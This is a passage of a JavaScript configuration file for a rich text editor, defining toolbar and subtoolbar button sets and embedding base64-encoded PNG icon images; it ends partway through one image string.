RTE_DefaultConfig.subtoolbar_more_mobile = "{save} #{newdoc,help}"; // A set of buttons that appears in the subtoolbar of mobile toolbar set. RTE_DefaultConfig.subtoolbar_paste = "pasteauto,pastetext,pasteword"; // A set of buttons that appears in the rich text editor's paste subtoolbar. RTE_DefaultConfig.subtoolbar_paragraphop = "{justifyleft,justifycenter,justifyright,insertorderedlist,insertunorderedlist,indent,outdent,insertblockquote}" // A set of buttons that appears in the rich text editor's paragraph subtoolbar. RTE_DefaultConfig.subtoolbar_table = "controlsizeauto,controlsize100,controlsize75,controlsize50,tabledelete"; // A set of buttons that appears in the table subtoolbar. RTE_DefaultConfig.subtoolbar_tablerow = "tablerowinsertabove,tablerowinsertbelow,tablerowdelete"; // A set of buttons that appears in the tablerow subtoolbar. RTE_DefaultConfig.subtoolbar_tablecell = "tablecellmerge,tablecellsplitver,tablecellsplithor,tablecellforecolor,tablecellbackcolor"; // A set of buttons that appears in the tablecell subtoolbar. RTE_DefaultConfig.subtoolbar_tablecolumn = "tablecolumninsertleft,tablecolumninsertright,tablecolumndelete"; // A set of buttons that appears in the tablecolumn subtoolbar. RTE_DefaultConfig.subtoolbar_tableinsert = "tablerowinsertabove,tablerowinsertbelow,tablecolumninsertleft,tablecolumninsertright"; // A set of buttons that appears in the tableinsert subtoolbar. RTE_DefaultConfig.subtoolbar_tabledelete = "tablecolumndelete,tablerowdelete,tabledelete"; // A set of buttons that appears in the tabledelete subtoolbar. RTE_DefaultConfig.subtoolbar_controlsize = "controlsize,controlsizeauto,controlsize100,controlsize75,controlsize50,controlsize25"; // A set of buttons that appears in the controlsize subtoolbar. RTE_DefaultConfig.subtoolbar_justify = "justifyleft,justifycenter,justifyright"; // A set of buttons that appears in the justify subtoolbar. RTE_DefaultConfig.subtoolbar_controljustify = "justifyleft,justifycenter,justifyright,floatleft,floatright"; // A set of buttons that appears in the controljustify subtoolbar. RTE_DefaultConfig.subtoolbar_floatparagraph = "pmoveup,pmovedown,pduplicate,pdelete,pmore"; // The default tool buttons of floatparagraph. RTE_DefaultConfig.controltoolbar_TEXT = "removeformat | {bold,italic,underline,forecolor,backcolor}|{fontname:toggle,fontsize:toggle}|{insertlink,insertanchor}" // A set of buttons that appears in the text selection float toolbar. RTE_DefaultConfig.controltoolbar_A = "{linkstyle,insertlink,unlink}"; // A set of buttons that appears in the link selection float toolbar. RTE_DefaultConfig.controltoolbar_TD = "{tableheader,menu_tablecell,menu_tablerow,menu_tablecolumn,menu_table}";//"{menu_tablecell,menu_tableinsert,menu_tabledelete,menu_table}", RTE_DefaultConfig.controltoolbar_IMG = "{menu_controlsize,imagecaption,controlalt,controlinsertlink,controleditlink,controlopenlink,controlunlink}/{menu_controljustify,imagestyle,imageeditor,delete}";//justifyleft,justifycenter,justifyright //RTE_DefaultConfig.svgCode_menu_tablerow='<svg viewBox="0 0 20 20" fill="#5F6368"><path d="M10.21 15c2.106 0 3.412-1.087 3.412-2.823 0-1.306-.984-2.283-2.324-2.386v-.055a2.176 2.176 0 001.852-2.14c0-1.51-1.162-2.46-3.014-2.46H5.843V15h4.368zM7.908 6.674h1.696c.963 0 1.517.451 1.517 1.244 0 .834-.629 1.32-1.73 1.32H7.908V6.673zm0 6.788v-2.864h1.73c1.216 0 1.88.492 1.88 1.415 0 .943-.643 1.449-1.832 1.449H7.907z"/></svg>'; RTE_DefaultConfig.pngCode_ribbonbg = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAZAAAABiCAYAAAB+koVqAAAABHNCSVQICAgIfAhkiAAAAAlwSFlzAAALEgAACxIB0t1+/AAAACB0RVh0U29mdHdhcmUATWFjcm9tZWRpYSBGaXJld29ya3MgTVi7kSokAAAAFnRFWHRDcmVhdGlvbiBUaW1lADA1LzA2LzEynpvHdgAAAeNJREFUeJzt3bFtw0AUBcFP4/qv1InhRA4kOaAauE0IAjMVMFs8no46vn8e7wGATWtm5vfxvPo5ALiZNTPzfBkhAOxZMzPvt4AAsOcTkKsfA4C7OQNy9VMAcDteYQGQeIUFQCIgACSfMxAFAWCPBQJAIiAAJH6FBUCyZmZeVz8FALezZmYefz6mCMAeN9EBSL6ufgAA7klAAEgEBIBkzcwcVz8FALdjgQCQCAgAiYAAkKyZcQgCwDaH6AAkXmEBkAgIAIlXWAAkZ0AOCQFgj1dYACQCAkDiHggAiUN0ABILBIDEGQgAiYAAkDgDASCxQABIBASAREAASAQEgMQhOgCJi4QAJF5hAZBYIAAkFggAiYAAkAgIAImAAJCch+hO0QHYZIEAkAgIAIlPmQCQWCAAJJ+b6DYIAHssEAASAQEgERAAEgEBIBEQABL3QABILBAAEgEBIPGXtgAkFggAiQUCQGKBAJAICACJgACQCAgAiZvoACQWCACJBQJAYoEAkAgIAImAAJAICACJgACQCAgAiYAAkAgIAMl5kfBwlRCAPRYIAImAAJAICACJgACQrJnxOV4AtlkgACTnAjFBANhkgQCQCAgAib+0BSCxQABIBASAxD0QABILBIBEQABIBASA5B+/giW9vHXuqwAAAABJRU5ErkJggg=='; RTE_DefaultConfig._allimageindexdata = 'save,newdoc,print,find,fit,cleanup,unformat,spell,cut,copy,paste,pastetext,pasteword,delete,undo,redo,insertpagebreak,insertdate,timer,specialchar,keyboard,div,layer,groupbox,image,gallery,flash,media,document,template,youtube,insrow_t,insrow_b,delrow,inscol_l,inscol_r,delcol,inscell,delcell,row,cell,mrgcell,spltcell,break,paragraph,textarea,textbox,passwordfield,hiddenfield,listbox,dropdownbox,optionbutton,checkbox,imagebutton,submit,reset,pushbutton,page,bold,italic,under,left,center,right,justifyfull,justifynone,numlist,bullist,indent,outdent,superscript,subscript,strike,ucase,lcase,rule,link,unlink,anchor,imagemap,borders,selectall,selectnone,help,code,overline,forecolor,backcolor,inserttable,insertform,blockquote,formatpainter,lineheight,dir_ltr,dir_rtl,preview,design,htmlview,map,topline,bottomline,html5'; RTE_DefaultConfig.pngCode_all = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAf4CAMAAAAedghIAAAAA3NCSVQICAjb4U/gAAADAFBMVEX////ZnjQ2VZUgQIAPL2AAAABYed9AcMA4WKIgQIAhOmozMzMgMEAAAAAhOmoAAAAAAACiz/mAqOBYed8AAAAAAABPdppBQUEAAABmmcw/aKAQEBAAAABgke5AeOA/aKAsUcIgULBcnAAAAADL1ei9yN+lsdg2VZUAAADd5O/B2vnL1eh2ltFzi7IAAADs8vzd5O9gke5Yed9AeOAkSIkAAADw+P84jsQ2VZUAAAD////w+P///4T/88vs8vz89LPw8Ov/8KD//wDc6//q6OTp8m3d5O/P4/zZ2uD01KfB2vnw2IDu1pvc1sjL1ejg2IDj0Z7Uzsfw0GDFzt3MzMzrxLuiz/nMzJm9yN+wyP/gyGDAxcuZzP+ux+7QyID/srLwwECwwd2l2QO9vr3GxGC8vqqxvc6Hw/2bvu9mzP/QuHDlsXfQuFC0tLTypZOnxDimtMzwsBCkrv+lsdipsbuUse3QqKCQsP+dr8yRreLIqWeQqPCaqb2op5iLvwBisfmkpaKAqPGAqOCVpLlRsvfZnjTvj3iwoICUnbvDmk2fpUr/iFCUnaqZmcxcp+h3nO+ZmZnMmQCYmIB6leGQoxOBlbd2ltE2pP/AkCCElJxmmcyykjLseFxgke5unkz/cFCMjIpgkOBblMyUjHNzi7JSjO//aD9cnACCgoaEhG5WhN5xgptlg7I4jsQAmf8gkPDoYkF7e3tQg7aQeGC9bypYed/iXF5wd4xHe+lgeLBTeMJAeOBqb8F0c3LUXjBic5f/UgxPdppTcbCcaSU1bv5AcMDlSyZmZmZTZ4JAaLBKZZw/aKAwaMBwYFBwYED6OStWXmpAYJBZWVrWOD0iWuI4WKJDWXAwWLBkU0dXV0GnPkE2VZVTU1IsUcL/IhI1T4YgULBKSkoBUc3lHSQySmIkSInQHiRBQUE3QWkgQKD4DQCvHiMgQIBGPCYhOmrNDw4zMzMKK/+YFhm2DRIgMEAPL2B/ERRqEBEjIyIgGCAAAP8ICIgQEBAAAMwICAgAAADrm4BRAAABAHRSTlMAEREREREiIiIiIiIiIjMzRFVVVVVmd3d3iIiIiJmZmZmZqqq7u7u7u8zMzMzMzN3d3d3d3d3u7u7u////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////0P/PPgAAAAlwSFlzAAAK8AAACvABQqw0mAAAACB0RVh0U29mdHdhcmUATWFjcm9tZWRpYSBGaXJld29ya3MgTVi7kSokAAAgAElEQVR4nO2dCUAb153/p7vrbbfbxPm3SY9td7vbbXNs02237Wab0VrIFZFk2ZaNJdsQgR1FtUKc4JAAQRjZRlLi4PxlIBCR4IRGYIipcJu4ToIBYy12iAQ+AsSGJuBgOXJkNzahuSrbLPq/Y443b8Zn7ADp/wsaaT76vfM3eu/Nm4thPrWysh566KHijRs3VlXt3LmTgw9lFLNYqu7du2moYg4f7+ZgQUYVx3SDVT0cLM54mWOmwZ083Jixk2PmE1KIWPqJnX0crMp4aGdX9+HBwRMndnaP8BDksrgKZbJbgDsB64WKdHcPChDY9SbjJn3L4OAhEVZV9cZbdLqWE4dOEPDIR/n5VuvwiRMnjnPQsbO7p6enbwTqOA8nWTYohyPXLIHYG64YSR0ctJKUg95YLCbCXM7DXq8cqjQkdGGo0cmhSieHKo1OT0IvZ2igITQ00xAwAwW9nEgYE3SOKpsMpdtygZ/Ai2TpqKJ0uZF0EeaqNOnptnxTJCIymwlVsik34hSYycnq0i25NmDo9/J2ThijWq3zRvz5XHibP9fp9PqbI0DeZg561ZyHNWpdMw/9ttx8YNgMTZsi3Obt5x1sMtkiPGxGTK0zbsn2Rt4UoEqt1hqzst8r9EaO+zmoxf7ZCF48YxiYl+OR41ACm3R5G2Aj42roI2Gr6qSw5OXy9wyNMF60FORnbQ0n4bJaNHX4t/YM9fW1NnSOnHQIhhqVcevJoQZWZdzNmzobWLOz86S3wWBy7j7p5fMDEjh58hh6Gx3ik9GloxS26nS2hhEepju3XipMd/LJN4T6+vqOQRjq7BsavbzamzSBtg+0frkuIK/LyjGW1ACG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